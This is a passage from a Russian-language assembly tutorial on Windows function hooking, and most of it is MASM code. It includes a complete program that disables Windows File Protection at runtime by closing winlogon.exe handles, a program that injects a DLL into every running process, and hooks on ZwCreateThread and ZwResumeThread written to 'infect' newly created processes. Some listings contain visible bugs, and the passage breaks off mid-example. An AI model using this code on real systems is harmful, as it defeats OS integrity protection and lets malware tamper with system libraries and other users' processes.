                db      0c3h    ;ОПКОД RET
size_code1      equ     $-code1
 

Пример Закончен.

А вот функция, которая как раз делает то, к чему мы стремились - осуществляет перехват:

Пример:

SetHook proc NameFunc:dword,NameModul:dword
        invoke GetModuleHandle,NameModul
        invoke GetProcAddress,eax,NameFunc
        mov RealAddr1,eax       ;сохраняем адрес перехватываемой функции
        invoke ReadProcessMemory,-1,RealAddr1,offset Old_Code1,size_code1,0
        mov Hooker1,offset Hooker
        invoke WriteProcessMemory,-1,RealAddr1,offset code1,size_code1,0
        ret
SetHook endp
 

Пример Закончен.

Также нужен код, который позволяет выполнить оригинальную функцию, т.е. временно убрать перехват:

Пример:

TrueMessageBoxA proc x:dword,x1:dword,x2:dword,x3:dword
        call SuspendThreads
        ;восстанавливаем старые байты
        invoke WriteProcessMemory,-1,RealAddr1,offset Old_Code1,size_code1,0
        push x3
        push x2
        push x1
        push x
        call MessageBoxA;вызываем оригинальную функцию MessageBoxA
        push eax
        invoke WriteProcessMemory,-1,RealAddr1,offset code1,size_code1,0;восстанавливаем перехват
        call ResumeThreads
        pop eax
        ret
TrueMessageBoxA endp
 

Пример Закончен.

А вот и сам перехватчик. Т.е. код на который мы прыгаем, при вызове перехватываемой функции.

Пример:

Hooker proc x:dword,x1:dword,x2:dword,x3:dword
        push x3
        push offset TitleMessage
        push offset TextMessage
        push x
        call TrueMessageBoxA
        ret
Hooker endp
 

Пример Закончен.

Сплайсинг с сохранением оригинальной функции

Когда мы устанавливаем перехват с помощью сплайсинга, мы затираем первые несколько байт оригинальной функции. Если мы используем относительный JMP, то мы затираем первые 5 байт. Перед затиркой мы сохраняем эти 5 байт. Когда нам нужно вызвать оригинальную функцию, мы записываем сохраненные байты по адресу точки входа функции. Вот здесь есть проблеме связанная с реентерабельностью. Мы можем избавиться от этой проблемы. Мы должны всего лишь сохранить первые инструкции, размер которых больше или равно 5 байтам (в случае, если мы затираем начало функции относительным JMP). Тогда если мы хотим вызвать оригинальную функцию, мы вызываем инструкции по адресу, по которому мы сохраняли затертые инструкции. После выполнения этих затертых инструкций мы выполняем инструкцию JMP на адрес в перехватываемой функции, где начинается следующая инструкция. Таким образом, логика работы оригинальной функции совершенно не меняется. При этом мы можем ее вызывать без особых функций. Самая главная здесь сложность - это как определить начало следующей инструкции, т.е. здесь нам необходим дизассемблер длин. Ему на вход подается адрес, а выход - это количество байт, занимаемых инструкцией по входному адресу.

Чтобы понять смысл этого метода рассмотрим простой пример. Во-первых, определим место, куда мы будем копировать инструкции, которые могут быть затерты. Мы сделаем это так:

old_func db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, \
            090h, 090h, 090h, 090h, 090h, 090h, 090h, 0e9h, 000h, \
			000h, 000h, 000h

Мы будем сохранять инструкции по адресу old_func. Мы оставляем место для некоторого количества инструкций. Мы заполняем оставшееся место в буфере 090h, т.к. эта инструкция ничего не делает, в результате её выполнения просто инкрементируется регистр EIP. В конце буфера мы ставим относительный JMP, адрес, куда мы будем переходить в этой инструкции, мы потом должны заполнить. При вызове оригинальной функции мы вызываем ее так: CALL old_func

Допустим, мы перехватываем функцию Sleep.

До перехвата она выглядит так:

KERNEL32.Sleep:
77E86779: 6A00		PUSH 0
77E8677B: FF742408	PUSH DWORD PTR [ESP+8]
77E8677F: E803000000	CALL Kernel32.SleepEx
77E86784: C20400	RET 00004H

С помощью дизассемблера длин мы вычисляем последовательно длины команд. Если с начала функции сумма длин команд больше или равно 5, то сохраняем обработанные инструкции по адресу old_func. Для функции Sleep мы сохраняем 6 байт, т.е. два PUSH'а. Также мы запоминаем адрес 77E8677F - после выполнения двух PUSH'ей мы джампим на этот адрес.

После установки перехвата функция Sleep примет следующий вид:

KERNEL32.Sleep:
77E86779: E937A95788	JMP 0004010B5H	; 0004010B5H - адрес обработчика
77E8677E: 08		?
77E8677F: E803000000	CALL Kernel32.SleepEx
77E86784: C20400	RET 00004H

А код old_func будет таким:

old_func:
00403027: 6A00 PUSH 0
00403029: FF742408 PUSH DOWRD PTR [ESP+8]
0040302D: 90 NOP
0040302E: 90 NOP
0040302F: 90 NOP
00403030: 90 NOP
00403031: 90 NOP
00403032: 90 NOP
00403033: 90 NOP
00403034: 90 NOP
00403035: 90 NOP
00403036: 90 NOP
00403037: E94337A877 JMP KERNEL32.77E8677F

Таким образом, если мы хотим вызывать оригинальную функцию мы вызываем old_func - это и будет оригинальной функцией. old_func называется функцией-трамплином (trampoline function).

Этот метод используется в продукте для перехвата функций, который называется Detours.

Описанный способ не может работать если функция занимает меньше 5 байт. Эту проблему можно решить с помощью перехода не командой JMP, а командой INT 3 (наш перехватчик в итоге будет обработчиком необработанных исключений). Команда INT 3 занимает 1 байт. Но производительность этого способа оставляет желать лучшего.

Перехват правкой системных библиотек на жестком диске

Можно разделить способы перехвата на перехват до запуска модуля и перехват после запуска модуля. При перехвате до запуска модуля, используется техника правки системных библиотек на жестком диске. Для этого необходимо проделать следующие шаги:

  1. Отключить защиту файлов ОС Windows (Windows File Protection).
  2. Переименовать файл системной библиотеки, которую мы заменяем.
  3. Создать правленую библиотеку и скопировать ее с оригинальным названием в системный каталог Windows, где она и была.
  4. После перезагрузки перехват будет глобален для всех процессов и для этого не нужно ничего более.

Чтобы осуществить все перечисленные шаги необходимо знать, что такое Windows File Protection и как его отключать без перезагрузки системы.

Windows File Protection

Windows File Protection - это сервис ОС, который защищает системные файлы ОС от изменения, повреждения или удаления. Впервые WFP появился в ОС Windows Millennium Edition. До появления WFP любая программа могла заменить системную библиотеку, что многие программы и делали при инсталляции. Из-за этого другие программы переставали работать и при этом могли забрать систему с собой в мир иной :) Такое положение вещей назвали "DLL Hell". В Windows Millennium Edition все системные SYS, DLL, EXE, and OCX защищены. В дополнение TrueType шрифты Micross.ttf, Tahoma.ttf, и Tahomabd.ttf также защищены. Если происходит изменение, модификация или удаление защищенного файла, то система восстанавливает его из кэша DLL, который по умолчанию находиться в папке:

%SYSTEMROOT%\system32\dllcache

Этот путь можно изменить, изменив значение параметра реестра:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\SFCDllCacheDir

Чтобы узнать, что был заменен какой-то из файлов, Windows просматривает каталоги безопасности и сверяет цифровые подписи. Если подпись какого-файла не соответствует подписи в каталоге безопасности, то Windows берет файлы из кэша. Потом Windows ищет эти файлы в сети, если была произведена установка оп сети. Если данный файл отсутствует в кэше и в сети, то Windows требует вставить оригинальный диск ОС. Можно включить принудительную проверку всех файлов ОС Windows с помощью утилиты sfc, которая доступна в стандартной комплектации ОС. Также при обнаружении исправленного или удаленного системного файл WFP записывает событие в лог событий, который можно посмотреть с помощью оснастки Event Log (%windir%\system32\eventvwr.msc). Следующие механизмы позволяют изменять системные файлы, не смотря на Windows File Protection:

Чтобы без шума добраться до системных файлов и отредактировать их мы должны отключить WFP. Есть несколько способов сделать это. Например, с помощью редактирования реестра или с помощью правки файла sfc.dll или sfc_os.dll. Но эти способы теряют свою актуальность, потому что они либо работали с какой-то конкретной ОС, либо требуют перезагрузки и/или входа в безопасный режим ОС. Но есть способ отключения WFP прямо при работе. Давайте его и рассмотрим.

Отключение Windows File Protection на лету

WFP держится на двух DLL - SFC.DLL, SFC_OS.DLL. А код, который использует эти DLL находиться в WINLOGON.EXE. Модуль SFC_OS.DLL экспортирует функцию, которая экспортируется не по имени, а по ординалу и имеет ординал 1. Эта функция запускает систему защиты файлов. Если покопаться в коде этой функции, то можно увидеть, что она вызывает функцию NTDLL.DLL!NtNotifyChangeDirectoryFile. Это недокументированная функция, но на ней основывается другая функция, которая называется KERNEL32.DLL!FindFirstChangeNotification. Эта функция возвращает описатель, который можно использовать в функциях ожидания, например KERNEL32.DLL!WaitForSingleObject. Т.е. WFP устанавливает систему нотификации на системные папки. Если файлы в папке изменяются, то WFP сразу на это реагирует. Все что нам требуется чтобы отключить WFP - это закрыть все описатели, которые были возвращены NTDLL.DLL!NtNotifyChangeDirectoryFile. Эти описатели типа "файл". Если мы захотим отключить WFP, когда система работает, и если мы не хотим писать код, можно просто запустить утилиту Process Explorer или подобную ей, чтобы закрыть хэндлы объектов "файл". Например,

File Object - C:\WINDOWS\SYSTEM32\.

Закрывая этот описатель, мы можем изменять файлы в папке C:\WINDOWS\SYSTEM32 и Windows ничего не скажет. При реализации кода процедуры отключения WFP необходимо знать, как получить хэндлы открытых описателей. Это делается с помощью функции NtQuerySystemInformation. В MSDN она документирована, но не полностью и того, что нам нужно там нет. Приходиться использовать справочник Гарри Нэббета "Windows NT 2000 Native API Reference".

Чтобы отключить таким образом WFP, необходимы отладочные привилегии, т.к. нам приходиться открывать процесс WINLOGON.EXE. А для того чтобы получить отладочные привилегии, необходимы привилегии администратора. Из этого следует, что этот способ будет работать только под учетной записью администратора или используя имперсонацию.

Для начала получаем идентификатор процесса WINLOGON.EXE. Он нужен для того, чтобы отличать хэндлы процесса WINLOGON.EXE от всех остальных. Чтобы получить идентификатор по имени модуля, используем функцию GetPIDbyName:

Пример:

;===============================================================================;
;                       Процесс по имени
;===============================================================================;
GetPIDbyName proc Str1:DWORD
LOCAL pe:PROCESSENTRY32
LOCAL hSnap:DWORD
        invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0
        mov hSnap,eax
        mov pe.dwSize,sizeof pe
        invoke Process32First,hSnap,addr pe
        .if eax==0
                ret
        .endif
next_process:
        invoke Process32Next,hSnap,addr pe
        .if eax==0
                ret
        .endif
        invoke lstrcmpi,addr pe.szExeFile,Str1
        .if eax==0
                mov eax,pe.th32ProcessID
                ret
        .endif
        jmp next_process
GetPIDbyName endp
;===============================================================================;
 

Пример Закончен.

В функции GetPIDbyName используем Toolhelp-функции для перечисления процессов в системе. Мы сравниваем имя полученного модуля со статической строкой "WINLOGON.EXE". Сравнение идет с помощью API-функции lstrcmpi. Эта функция сравнивает строки не учитывая во внимание регистр символов.

Далее нам необходимо получить список всех описателей процесса WINLOGON.EXE. Но в ОС Windows нет функции, которая позволила бы получить описатели для конкретного процесса. Однако, как Вы уже знаете описатели можно получить с помощью Native функции NtQuerySystemInformation. Часть описания этой функции доступно в MSDN, но этого нам не достаточно. Более того там написано неправильно!!! :( Посмотрите на прототип этой функции:

NTSTATUS NtQuerySystemInformation(
  SYSTEM_INFORMATION_CLASS SystemInformationClass,
  PVOID SystemInformation,
  ULONG SystemInformationLength,
  PULONG ReturnLength
);

Давайте прочтем описание переменной ReturnLength:

"ReturnLength [out, optional] Optional pointer to a location where the function writes the actual size of the information requested. If that size is less than or equal to the SystemInformationLength parameter, the function copies the information into the SystemInformation buffer; otherwise, it returns an NTSTATUS error code and returns in ReturnLength the size of buffer required to receive the requested information."

Вот здесь и есть ошибка в документации. На самом деле, если размер буфера меньше нужного, то параметр ReturnLength не заполняется. Так как размер буфера не перманентен, то нам приходиться инкрементно перебирать размеры. Если функция возвращает STATUS_INFO_LENGTH_MISMATCH, то размер буфера недостаточен. Вот код который находит нужный размер буфера:

Пример:

;===============================================================================;
;               Определям размер буфера для получения списка хэндлов             
;===============================================================================;
        push offset SizeBuffer
        push 0
        push 0
        push 16;SystemHandleInformation
        call _NtQuerySystemInformation
        .if eax!=STATUS_INFO_LENGTH_MISMATCH
                jmp end_calc_size
        .endif
next_calc_size:
        add SizeBuffer,01000h;Увеличиваем размер буфера на страницу
        .if pSystemHandleInfo!=0
                invoke VirtualFree,pSystemHandleInfo, 0, MEM_RELEASE
        .endif
        invoke VirtualAlloc,NULL, SizeBuffer, MEM_COMMIT, PAGE_READWRITE
        mov pSystemHandleInfo,eax
        push offset uBuff
        push SizeBuffer
        push pSystemHandleInfo
        push 16
        call _NtQuerySystemInformation
        .if eax==STATUS_INFO_LENGTH_MISMATCH
                jmp next_calc_size
        .endif
end_calc_size:
;===============================================================================;
 

Пример Закончен.

После выполнения вышеприведенного кода, в pSystemHandleInfo содержится указатель на буфер. В буфере содержится количество описателей. А потом массив структур типа HandleInfo. Количество структур в этом буфере ровно соответствует первому двойному слову буфера. Эта структура определена следующим образом:

Handle_Info struct
        Pid             DWORD ?
        ObjectType      WORD ?
        HandleValue     WORD ?
        ObjectPointer   DWORD ?
        AccessMask      DWORD ?
Handle_Info ends
 

Pid мы используем, чтобы узнать какому процессу принадлежит описатель. Также мы будем использовать параметр HandleValue для дублирования хэндлов.

После того как мы узнали, что данный описатель принадлежит процессу WINLOGON.EXE мы должны узнать имя объекта соответствующего данному описателю. Нас интересует имя \Device\HarddiskVolume1\WINDOWS\system32. А если точнее его часть WINDOWS\SYSTEM32. Закрывая эти описатели, мы отключаем Windows File Protection. Чтобы получить имя объекта по его описателю, мы вызываем функцию NtQueryObject. Эта Native функция полностью недокументированна. По крайней мере в MSDN VisualStudio .NET 2003 ее описание отсутствует. Но я знаю, что ее описание есть в DDK. Как бы то ни было, я взял прототип функции в книге Гарри Нэббета.

Мы вызываем функцию NtQueryObject, чтобы получить имя объекта соответствующее описателю. Далее мы сравниваем UNICODE-строку "WINDOWS\SYSTEM32" или "WINNT\SYSTEM32" с полученным именем объекта. Сравниваем мы с конца, идя в начало. Сравнение идет с помощью функции CompareStringsBackwards. В ней используются цепочечные операции пересылки слов. Длина сравнения зависит от длины строки "WINDOWS\SYSTEM32" или "WINNT\SYSTEM32". А вот и функция CompareStringsBackwards:

Пример:

;===============================================================================;
;                       Сравнить строки назад
;===============================================================================;
CompareStringBackwards proc pStr1:dword,pStr2:dword
LOCAL Len1:DWORD
LOCAL Len2:DWORD
        push esi
        push edi
        invoke lstrlenW,pStr1
        mov Len1,eax
        invoke lstrlenW,pStr2
        mov Len2,eax
        mov eax,Len1
        .if eax>Len2
                mov eax,0
                ret
        .endif
        mov edx,Len1
        add edx,Len1
        mov edi,pStr1
        add edi,edx

        mov edx,Len2
        add edx,Len2
        mov esi,pStr2
        add esi,edx

        mov ecx,Len1
        inc ecx
        std
        repe cmpsw
        add esi,2
        add edi,2
        xor eax,eax
        xor edx,edx
        mov ax,word ptr [esi]
        mov dx,word ptr [edi]
        .if (ecx==0)&&(eax==edx)
                mov eax,1
                pop edi
                pop esi
                ret
        .else
                mov eax,0
                pop edi
                pop esi
                ret
        .endif
CompareStringBackwards endp
;===============================================================================;
 

Пример Закончен.

Если строки равны и CompareStringsBackwards возвращает единицу, то мы переоткрываем описатель чтобы открыть его с правами DUPLICATE_CLOSE_SOURCE or DUPLICATE_SAME_ACCESS. Флаг DUPLICATE_CLOSE_SOURCE указывает, что функция DuplicateHandle закрывает указанный описатель в указанном процессе.

А теперь посмотрите полные код программки, которая отключает Windows File Protection во время работы ОС. После перезагрузки WFP опять будет включена.

Пример:

;===============================================================================;
;                           П Р О Г Р А М М А                                 
;               Отключение Windows File Protection на лету                     
;===============================================================================;

;===============================================================================;
;                       Options and Includes                                   
;===============================================================================;
.386                                                                           
option casemap:none                                                            
.model flat,stdcall                                                            
include \tools\masm32\include\windows.inc                                      
includelib \tools\masm32\lib\kernel32.lib                                      
include \tools\masm32\include\kernel32.inc                                     
include \tools\masm32\include\user32.inc                                       
includelib \tools\masm32\lib\user32.lib                                        
include \tools\masm32\include\advapi32.inc                                     
includelib \tools\masm32\lib\advapi32.lib                                      
;===============================================================================;

Handle_Info struct
        Pid DWORD ?
        ObjectType WORD ?
        HandleValue WORD ?
        ObjectPointer DWORD ?
        AccessMask DWORD ?     
Handle_Info ends

UNICODE_STRING STRUCT
        woLength                WORD    ?               ; len of string in bytes (not chars)
        MaximumLength   WORD    ?                       ; len of Buffer in bytes (not chars)
        Buffer                  DWORD   ?       ; pointer to string
UNICODE_STRING ENDS

System_Handle_Information struct
        nHandleEntries DWORD ?
        pHandleInfo DWORD ?
System_Handle_Information ends

CharUpperW PROTO :DWORD
lstrlenW PROTO :DWORD

STATUS_INFO_LENGTH_MISMATCH equ 0C0000004h
;===============================================================================;
;                       Initialized Data Section                               
;===============================================================================;
.data                                                                          
        Priv db "SeDebugPrivilege",0
        ntdll db "NTDLL.DLL",0
        FuncName db "NtQuerySystemInformation",0
        FuncName2 db "NtQueryObject",0
        pSystemHandleInfo dd 0
        SizeBuffer dd 0
        winlogon_str db "winlogon.exe",0
        hWinlogon dd 0
        WinDir1 dw "W","I","N","D","O","W","S","\","S","Y","S","T","E","M","3","2",0
        WinDir2 dw "W","I","N","N","T","\","S","Y","S","T","E","M","3","2",0
;===============================================================================;



;===============================================================================;
;                       Uninitialized Data Section                             
;===============================================================================;
.data?                                                                         
        _NtQuerySystemInformation dd
        _NtQueryObject dd ?                                                    
        uBuff dd ?
        WinLogon_Id dd ?
        hCopy dd ?
ObjName label byte
        Name UNICODE_STRING <?>
        pBuffer db MAX_PATH+1 dup (?)
;===============================================================================;



;===============================================================================;
;                               Code Section                                   
;===============================================================================;
.code
start:
        call EnableDebugPrivilege;Теперь у нас отладочные привилегии
        invoke GetModuleHandle,offset ntdll
        invoke GetProcAddress,eax,offset FuncName
        mov _NtQuerySystemInformation,eax
        invoke GetModuleHandle,offset ntdll
        invoke GetProcAddress,eax,offset FuncName2
        mov _NtQueryObject,eax
;===============================================================================;
;                       Получаем описатель процесса Winlogon.exe              
;===============================================================================;
        push offset winlogon_str
        call GetPIDbyName
        mov WinLogon_Id,eax
        invoke OpenProcess,PROCESS_DUP_HANDLE,0,eax
        mov hWinlogon,eax
;===============================================================================;
;===============================================================================;
;               Определям размер буфера для получения списка хэндлов             
;===============================================================================;
        push offset SizeBuffer
        push 0
        push 0
        push 16;SystemHandleInformation
        call _NtQuerySystemInformation
        .if eax!=STATUS_INFO_LENGTH_MISMATCH
                jmp end_calc_size
        .endif
next_calc_size:
        add SizeBuffer,01000h
        .if pSystemHandleInfo!=0
                invoke VirtualFree,pSystemHandleInfo, 0, MEM_RELEASE
        .endif
        invoke VirtualAlloc,NULL, SizeBuffer, MEM_COMMIT, PAGE_READWRITE
        mov pSystemHandleInfo,eax
        push offset uBuff
        push SizeBuffer
        push pSystemHandleInfo
        push 16
        call _NtQuerySystemInformation

        .if eax==STATUS_INFO_LENGTH_MISMATCH
                jmp next_calc_size
        .endif
end_calc_size:
;===============================================================================;
;===============================================================================;
;               Получаем все хэндлы и закрываем ненужные                    
;===============================================================================;
        assume edi:ptr System_Handle_Information
        mov edi,pSystemHandleInfo
        mov ecx,[edi].nHandleEntries
        add edi,4
        ;mov edi,[edi].pHandleInfo
        assume edi:ptr Handle_Info
        mov edx,0
next_handle:
        push ecx
        push edx
        mov eax,[edi].Pid
        .if eax==WinLogon_Id
                invoke GetCurrentProcess
                mov edx,eax
                xor eax,eax
                mov ax,[edi].HandleValue
                invoke DuplicateHandle,hWinlogon,eax,edx,offset hCopy,0,0,DUPLICATE_SAME_ACCESS
                .if eax!=0
                        push 0
                        push 214h;sizeof(ObjName)
                        push offset ObjName
                        push 1;ObjectNameInformation
                        push hCopy
                        call _NtQueryObject
                        .if eax==0;StatusSuccess
                                push edi
                                mov edi,offset ObjName
                                assume edi:ptr UNICODE_STRING
                                mov edi,[edi].Buffer
                                push edi
                                call CharUpperW
                                mov edi,offset ObjName
                                assume edi:ptr UNICODE_STRING
                                mov edi,[edi].Buffer
                                push edi
                                push offset WinDir1
                                call CompareStringBackwards
                                .if eax==1
                                        jmp Yes
                                .elseif
                                        jmp No
                                .endif
                                mov edi,offset ObjName
                                assume edi:ptr UNICODE_STRING
                                mov edi,[edi].Buffer
                                push edi
                                push offset WinDir2
                                call CompareStringBackwards
                                .if eax==1
                                        jmp Yes
                                .elseif
                                        jmp No
                                .endif
Yes:
                                invoke CloseHandle,hCopy
                                pop edi
                                assume edi:ptr Handle_Info
                                xor eax,eax
                                mov ax,[edi].HandleValue
                                invoke DuplicateHandle,hWinlogon,eax,-1,offset hCopy,0,0,\
                                       DUPLICATE_CLOSE_SOURCE or DUPLICATE_SAME_ACCESS
                                invoke CloseHandle,hCopy
                                push edi
                        .endif
No:
                pop edi
                .endif
                invoke CloseHandle,hCopy
        .endif
        pop edx
        pop ecx
        inc edx
        .if edx>=ecx
                invoke VirtualFree,pSystemHandleInfo, 0, MEM_RELEASE
                invoke CloseHandle,hWinlogon
                invoke TerminateProcess,-1,0
        .endif
        add edi,16
        jmp next_handle
;===============================================================================;
;===============================================================================;
;                       Включить отладочные привилегии                             
;===============================================================================;
EnableDebugPrivilege proc
LOCAL hToken:DWORD
LOCAL tkp:TOKEN_PRIVILEGES
LOCAL ReturnLength:DWORD
LOCAL luid:LUID
        mov eax,0
        invoke OpenProcessToken,INVALID_HANDLE_VALUE, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,ADDR hToken
        invoke LookupPrivilegeValue,NULL,offset Priv,ADDR luid
        .IF eax==0
                invoke CloseHandle,hToken
                ret
        .ENDIF
        mov tkp.PrivilegeCount,1
        lea eax,tkp.Privileges
        assume eax:ptr LUID_AND_ATTRIBUTES
        push luid.LowPart
        pop [eax].Luid.LowPart

        push luid.HighPart
        pop [eax].Luid.HighPart

        mov [eax].Attributes,SE_PRIVILEGE_ENABLED
       
        invoke AdjustTokenPrivileges,hToken,NULL,ADDR tkp,sizeof tkp,ADDR tkp,ADDR ReturnLength
        invoke GetLastError
        .IF eax!=ERROR_SUCCESS
                ret
        .ENDIF
        invoke CloseHandle,hToken
        mov eax,1
        ret
EnableDebugPrivilege endp

;===============================================================================;
;                       Процесс по имени
;===============================================================================;
GetPIDbyName proc Str1:DWORD
LOCAL pe:PROCESSENTRY32
LOCAL hSnap:DWORD
        invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0
        mov hSnap,eax
        mov pe.dwSize,sizeof pe
        invoke Process32First,hSnap,addr pe
        .if eax==0
                ret
        .endif
next_process:
        invoke Process32Next,hSnap,addr pe
        .if eax==0
                ret
        .endif
        invoke lstrcmpi,addr pe.szExeFile,Str1
        .if eax==0
                mov eax,pe.th32ProcessID
                ret
        .endif
        jmp next_process
GetPIDbyName endp
;===============================================================================;
;===============================================================================;
;                       Сравнить строки назад
;===============================================================================;
CompareStringBackwards proc pStr1:dword,pStr2:dword
LOCAL Len1:DWORD
LOCAL Len2:DWORD
        push esi
        push edi
        invoke lstrlenW,pStr1
        mov Len1,eax
        invoke lstrlenW,pStr2
        mov Len2,eax
        mov eax,Len1
        .if eax>Len2
                mov eax,0
                ret
        .endif
        mov edx,Len1
        add edx,Len1
        mov edi,pStr1
        add edi,edx

        mov edx,Len2
        add edx,Len2
        mov esi,pStr2
        add esi,edx

        mov ecx,Len1
        inc ecx
        std
        repe cmpsw
        add esi,2
        add edi,2
        xor eax,eax
        xor edx,edx
        mov ax,word ptr [esi]
        mov dx,word ptr [edi]
        .if (ecx==0)&&(eax==edx)
                mov eax,1
                pop edi
                pop esi
                ret
        .else
                mov eax,0
                pop edi
                pop esi
                ret
        .endif
CompareStringBackwards endp

end start
;===============================================================================;
;                               End Program                                    
;===============================================================================;
 

Пример Закончен.

Глобальный перехват

Для установки в системе этого перехвата необходимо внедрить DLL в адресное пространство всех текущих процессов или просто скопировать код в Shell-код стиле (если мы не используем DLL), а также всех процессов, которые запустятся потом. Для внедрения во все текущие процессы используем Toolhelp-функции для перечисления процессов. Также можно использовать функцию NtQuerySystemInformation, которая является Native для Toolhelp-функций, а также и для функций Enum... Вот код, который устанавливает перехват для всех запущенных процессов:

Пример:

;===============================================================================;
;                                       Options and Includes                                   
;===============================================================================;
.386                                                                           
option casemap:none                                                            
.model flat,stdcall                                                            
include \tools\masm32\include\windows.inc                                      
includelib \tools\masm32\lib\kernel32.lib                                      
include \tools\masm32\include\kernel32.inc                                     
include \tools\masm32\include\user32.inc                                       
includelib \tools\masm32\lib\user32.lib                                        
include \tools\masm32\include\advapi32.inc                                     
includelib \tools\masm32\lib\advapi32.lib                                      
;===============================================================================;

;===============================================================================;
;                       Initialized Data Section                               
;===============================================================================;
.data                                                                          
        lib db "c:\\dll.dll",0;имя DLL, которую внедряем в чужой процесс
        dwSize equ $-lib;Размер строки с именем DLL                         
        kernelName db "kernel32.dll",0;Имя Kernel32.dll                             
        loadlibraryName db "LoadLibraryA",0;Имя функции LoadLibraryA         
        _LoadLibrary dd 0;Адрес функции LoadLibrary                        
        ParameterForLoadLibrary dd 0;Адрес строки с именем DLL в чужом процессе
;===============================================================================;
;                       Uninitialized Data Section                             
;===============================================================================;
.data?                                                                         
;===============================================================================;
        ThreadId dd ?;Идентификатор треда                                    
        hSnap dd ?
        hProcess dd ?
        ProcEntry PROCESSENTRY32 <?>
;===============================================================================;
;                               Code Section                                   
;===============================================================================;
.code
ThreadProc proc
        invoke Sleep,100000
        ret
ThreadProc endp
start:
        invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0
        mov hSnap,eax
        mov ProcEntry.dwSize,sizeof PROCESSENTRY32
        invoke Process32First,hSnap,offset ProcEntry
NextProcess:
        invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or PROCESS_VM_OPERATION,\
               0,ProcEntry.th32ProcessID;Открываем процесс куда будем внедрять DLL
        mov hProcess,eax
        invoke GetModuleHandle,offset kernelName;Получаем описатель модуля Kernel32.dll
        invoke GetProcAddress,eax,offset loadlibraryName;Получаем адрес функции LoadLibrary
        mov _LoadLibrary,eax
        ;Выделяем память в удаленном процессе
        invoke VirtualAllocEx,hProcess,NULL,dwSize,MEM_RESERVE or MEM_COMMIT,PAGE_READWRITE
        mov ParameterForLoadLibrary,eax
        ;Запись строки с именем DLL в АП чужого процесса
        invoke WriteProcessMemory,hProcess,eax,offset lib,dwSize,NULL
        ;Создаем удаленный поток, который вызывает LoadLibrary,
        ;тем самым внедряем DLL в адресное пространство чужого процесса.  
        invoke CreateRemoteThread,hProcess,NULL,NULL,_LoadLibrary,ParameterForLoadLibrary,\
                                  NULL,offset ThreadId
        invoke Process32Next,hSnap,offset ProcEntry
        .if eax!=0
                jmp NextProcess
        .endif
        invoke ExitProcess,0
end start
;===============================================================================;
;                               End Program                                                            
;===============================================================================;
 

Пример Закончен.

Чтобы глобально перехватывать функции можно использовать функцию SetWindowsHook. Тогда мы будет перехватывать нужную функцию во всех текущих GUI-приложениях, а также новых, т.к. если мы вызываем функцию SetWindowsHook, то она внедряет DLL и для всех новых процессов.

Другой способ в следующем. Необходимо перехватывать функции, которые создают процесс или которые вызываются при создании процесса. Т.о. мы будет устанавливать перехват и для всех новых процессов. В ОС Windows существует много функций, которые создают процессы - SHELL32.DLL!ShellExecute, KERNEL32.DLL!CreateProcess, NTDLL.DLL!NtCreateProcess. Нам необходимо выяснить какие действия происходят при создании любого процесса, используя любую из функций создания процессов в ОС.

Какой бы функцией не был создан процесс, при создании процесса вызывается функция ZwCreateThread. Вот ее прототип:

ZwCreateThread proc ThreadHandle1:DWORD, DesiredAccess: DWORD, \
                    ObjectAttributes:DWORD, ProcessHandle:DWORD, \
                                        ClientId: DWORD, ThreadContext: DWORD, \
                                        UserStack:DWORD, CreateSuspended: DWORD

В параметре ClientId содержиться указатель на структуру, которая называется CLIENTID. Она определена так:

CLIENTID struct
        UniqueProcess   DWORD 0
        UniqueThread    DWORD 0
CLIENTID ends
 

UniqueProcess - это идентификатор процесса в котором создается поток. Делаем так: в обработчике ZwCreateThread после вызова нормальной функции ZwCreateThread проверяем UniqueProcess из структуры CLIENTID. Если это значение отличается от идентификатора нашего процесса, то заражаем процесс. Но не тут-то было!!! При заражении процесса вызов LoadLibrary окажется неудачным, потому что процесс еще не проинициализирован. Таким образом если идентификаторы нашего процесса и нового не совпали, то мы просто устанавливаем флажок NewProcess. А мы знаем, что при создании процесса основной поток приостановлен до тех пор, пока процесс не будет проинициализирован. После того как новый процесс будет проинициализирован для основного потока вызывается функция ZwResumeThread. Значит и ее тоже надо перехватывать. Я сделал 2 макроса, которые сохраняют и соответственно восстанавливают регистры ESI, EDI, EBX, EBP. Вот эти макросы:

startproc macro
        push esi
        push edi
        push ebx
        push ebp
endm

endproc macro
        pop ebp
        pop ebx
        pop edi
        pop esi
endm
 

Взгляните на обработчик ZwCreateThread:

Пример:

NewZwCreateThread proc ThreadHandle1:DWORD, DesiredAccess: DWORD, \
                       ObjectAttributes:DWORD, ProcessHandle:DWORD, \
                                           ClientId: DWORD, ThreadContext: DWORD, \
                                           UserStack:DWORD, CreateSuspended: DWORD
        startproc
        invoke GetCurrentProcess
        invoke WriteProcessMemory,eax,AddrCreateThread,offset Old_Code2,\
               size_code2,0;снятие перехвата
        push TRUE
        push UserStack
        push ThreadContext
        push ClientId
        push ProcessHandle
        push ObjectAttributes
        push DesiredAccess
        push ThreadHandle1
        call AddrCreateThread
        push eax
        mov eax,CurrProcess
        mov edi,ClientId
        assume edi:PTR CLIENTID
        .if eax!=[edi].UniqueProcess
                mov NewProcess,1
        .endif
       
        .if CreateSuspended==0
                invoke ResumeThread,ThreadHandle1
        .endif
        invoke GetCurrentProcess
        invoke WriteProcessMemory,eax,AddrCreateThread,offset code2,\
               size_code2,0;установка перехвата
        pop eax
        endproc
        ret
NewZwCreateThread endp
 

Пример Закончен.

Теперь нам надо перехватить ZwResumeThread. Вот ее прототип:

ZwResumeThread proc ThreadHandle1:DWORD, PriviousSuspendCount: DWORD

Как видите нам передается описатель потока, работа которого возобновляется. Нам необходимо получить id процесса, которому принадлежит этот поток. Если этот id отличается от нашего id'а и установлен флаг NewProcess, то заражаем процесс. Id процесса по описателю потока можно получить с помощью функции NtQueryInformationThread. Вот ее прототип:

ZwQueryInformationThread proc ThreadHandle:DWORD,ThreadInformationClass:DWORD,\
                              ThreadInformation:DWORD,ThreadInformationLength:DWORD, \
                                                          ReturnLength:DWORD

Из вложенной структуры ClientId мы узнаем id процесса, которому принадлежит поток, т.к. при вызове функции ZwQueryInformationThread заполняется структура THREAD_BASIC_INFORMATION.

А вот исходный код обработчика ZwResumeThread:

Пример:

